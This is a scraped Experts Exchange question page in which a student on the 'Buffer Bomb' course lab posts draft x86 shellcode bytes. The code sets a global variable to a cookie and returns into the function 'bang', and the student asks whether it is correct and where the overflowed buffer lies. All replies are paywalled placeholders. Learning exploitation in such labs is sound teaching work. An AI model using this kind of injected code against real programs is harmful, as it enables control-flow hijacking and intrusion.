exploit code should set global_value, push the address of bang on the stack, and then execute a ret
instruction to cause a jump to the code for bang.

This is what I have so far:

I know that i need to send a string that is comprised of the assembly code that i generated which is

   0:   a1 dc a1 04 08          mov    0x804a1dc,%eax /*Move my cookie from area in memory to %eax */
   5:   a3 cc a1 04 08          mov    %eax,0x804a1cc /*Move %eax into the global variable that must equal my cookie to pass */
   a:   ff 35 60 8d 04 08     pushl  0x8048d60 /* Go back to bang */
  10:   c3                             ret

so my final string should be:

a1 dc a1 04 08 a3 cc a1 04 08 ff 35 60 8d 04 08 c3 + address where buffer string is stored

My questions are
a) Is my assembly correct?
b) Where can I find my buffer string
 
Related Solutions
Keywords: Buffer Bomb Problem
 
Loading Advertisement...
 
[+][-]06/03/08 11:10 PM, ID: 21707318Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 01:41 AM, ID: 21707984Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 02:20 AM, ID: 21708198Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 02:37 AM, ID: 21708269Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 02:46 AM, ID: 21708309Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 02:50 AM, ID: 21708331Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 02:51 AM, ID: 21708337Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 02:57 AM, ID: 21708371Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 03:01 AM, ID: 21708394Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:07 AM, ID: 21708422Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 03:12 AM, ID: 21708444Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:15 AM, ID: 21708462Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:17 AM, ID: 21708471Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:26 AM, ID: 21708515Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 03:38 AM, ID: 21708581Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:42 AM, ID: 21708609Assisted Solution

Assisted solutions are selected by the member who asked the question as a comment that contributed to their question's solution.

Start your 30-day free trial to view this Assisted Solution or ask the Experts your question.

 
[+][-]06/04/08 03:53 AM, ID: 21708670Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:53 AM, ID: 21708672Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 03:58 AM, ID: 21708699Accepted Solution

View this solution now by starting your 30-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

About this solution

Zone: Assembly Programming Language
Tags: Assembly
Sign Up Now!
Solution Provided By: Infinity08
Participating Experts: 1
Solution Grade: A
 
[+][-]06/04/08 04:00 AM, ID: 21708710Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 04:02 AM, ID: 21708718Assisted Solution

Assisted solutions are selected by the member who asked the question as a comment that contributed to their question's solution.

Start your 30-day free trial to view this Assisted Solution or ask the Experts your question.

 
[+][-]06/04/08 04:02 AM, ID: 21708720Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 04:09 AM, ID: 21708753Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 04:26 AM, ID: 21708878Assisted Solution

Assisted solutions are selected by the member who asked the question as a comment that contributed to their question's solution.

Start your 30-day free trial to view this Assisted Solution or ask the Experts your question.

 
[+][-]06/04/08 04:44 AM, ID: 21708989Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 04:55 AM, ID: 21709058Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 05:09 AM, ID: 21709153Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 05:11 AM, ID: 21709166Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 05:12 AM, ID: 21709173Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]06/04/08 05:16 AM, ID: 21709197Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 05:19 AM, ID: 21709212Expert Comment

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 30-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]06/04/08 11:21 AM, ID: 21712596Author Comment

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 30-day free trial to view this Author Comment or ask the Experts your question.

 
 
Loading Advertisement...
20091111-EE-VQP-89 / EE_QW_2_20070628